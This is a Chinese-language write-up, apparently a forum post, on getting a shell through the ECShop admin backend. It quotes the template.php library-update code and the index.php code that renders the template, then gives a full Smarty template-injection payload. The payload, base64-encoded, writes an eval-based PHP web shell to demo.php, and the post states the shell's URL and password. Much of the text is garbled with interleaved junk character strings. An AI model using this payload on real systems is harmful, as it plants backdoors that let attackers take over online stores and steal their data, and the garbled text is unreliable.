Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板

而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
2 B8 _! N. d3 u# @8 U但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
: w4 _" p0 j8 c& d$ Z1 Xadmin/template.php
9 I, J' f; L) b4 ?. F
1 if ($_REQUEST['act'] == 'update_library')

2   
4 N% {  h. \) z" A
3 {

4     check_authz_json('library_manage');

5   

2 x& G, X7 I: Q4 [* o. j# q/ ?6     $html = stripslashes(json_str_iconv($_POST['html']));
1 [. P7 F4 ~6 ^# v
7   

( U0 k) w8 u$ I. b% H8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
; Y; s0 B3 p% P+ Q3 H
9   
- V! M/ h" V4 a, c' Q# _
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
& q. A) ^2 n$ ?6 }
- ^/ p9 X" G( ^: r: m0 ]/ O8 o( o11   
) j# J1 h6 R1 w6 y* w
( w" b8 T% [4 j( V$ g12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));

1 w; t7 u9 [' g5 B. p* |13   
& C% [# d% J# Z( [
: t- R; O% K, ?' ]14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出

15     {

16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
0 F' K# x( U# f
9 C3 t3 Z" }! G6 ?17         make_json_result('', $_LANG['update_lib_success']);

18     }
& B5 u7 `7 a# P. H
19     else
- J2 v: O1 f7 W! o+ m+ c$ t
20     {

: C" _; H( x% J21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
7 i: P9 U' B3 b1 n- A; ~' x( N1 Q
! a/ y' z" u* I22     }

6 W* n, F% e; v- v0 Z4 d4 T/ x0 {23 }
; b$ X0 f: d  F7 N- W
那么找个比较方便调用了模板的文件
index.php
/ w5 W9 d5 i1 f1 M; M& ?
- h+ Q9 t# B. L- l1 if ($act == 'cat_rec')
% f) s. `( F/ J; @
2   
# c6 B  m4 r  f
3 {
% v3 Y( w) c+ ~6 W5 Q. b
' o9 J7 N* O8 s# j4   
/ m) K  K8 W' c7 E3 G
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');

; \  Q. p1 X1 W; t6   

' X# c9 {. g) P7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';

8   

: B% u9 Q. B5 y* G7 E4 q9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
7 Y1 c3 l6 ]$ U9 }
10   
- o# H0 H6 q2 ?. a$ ^
& s& A& ^8 M6 Q2 e: c, O11     include_once('includes/cls_json.php');
) e& Z  R; [1 k- n2 s; S2 Q  x- p4 b
12   
8 q2 U; k0 d- `" N! k4 R- [2 U
13     $json = new JSON;
# Y  o' Y8 O0 `8 z1 ~/ U  \
3 u6 V2 N& _6 ?. y14   
8 u. E2 p3 T+ ~+ ^- ~8 c" J1 q
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
, [1 Z4 i% G5 v# ?3 G9 Q% @! o
+ T5 r3 b( C; |; g16   

) ~/ C4 o1 o* i! d* L17     $children = get_children($cat_id);

. p- k# @# V/ @; R2 g18   
/ c: u: P6 y7 u7 Z9 [9 p( V1 a
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
' `: h- a0 T5 N
! P& ]( k) U# X2 U5 v( |  W20   

21     $smarty->assign('cat_rec_sign', 1);
/ U% M; o8 T) R( _/ l* a6 `% q! M
' Y( x# B* G6 M2 d$ d8 V& i$ {22   
" w$ x/ k  [6 Z6 t
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best

, g* r: M  Z9 P' h8 H% I' `24   
: a$ B7 C( z" }" m" S1 i  ]
2 J" n- j& z: O25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
9 J9 m9 Y  J& v7 n9 A" C4 p
26   
$ k& X. ?5 X4 M
8 C* }! z4 F+ x6 B8 p: h3 [27         echo $rec_array[$rec_type];
5 g' O0 @% A& w/ {, I7 N$ K
28   

29     die($json->encode($result));

30   
6 Z' \' g4 c8 O3 o5 m$ H- }9 J
' z( e: e; Y2 f- S/ a# n* N31 }

6 d- _0 q" F8 G  K5 J那么就有利用方法了
# Q, h8 b1 g: [( h' T) a! Jpost包到http://localhost/ec/admin/template.php?act=update_library
* x' U# H7 N0 \3 b6 O- \Post内容：
3 w* `2 K2 K  |
​
4 F" T5 `) `/ J+ L: b: L; s6 P7 r1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

然后访问http://localhost/ec/index.php?act=cat_rec
* I+ g! B$ ~1 X) f; J- G  p* e
shel地址：http://localhost/ec/demo.php
: d8 o* y+ i( J- U1 B4 Y) A密码c
1 y/ l' f4 b2 G" O$ {4 w
# F% Y3 Q) l4 h% u1 I* p& o2 C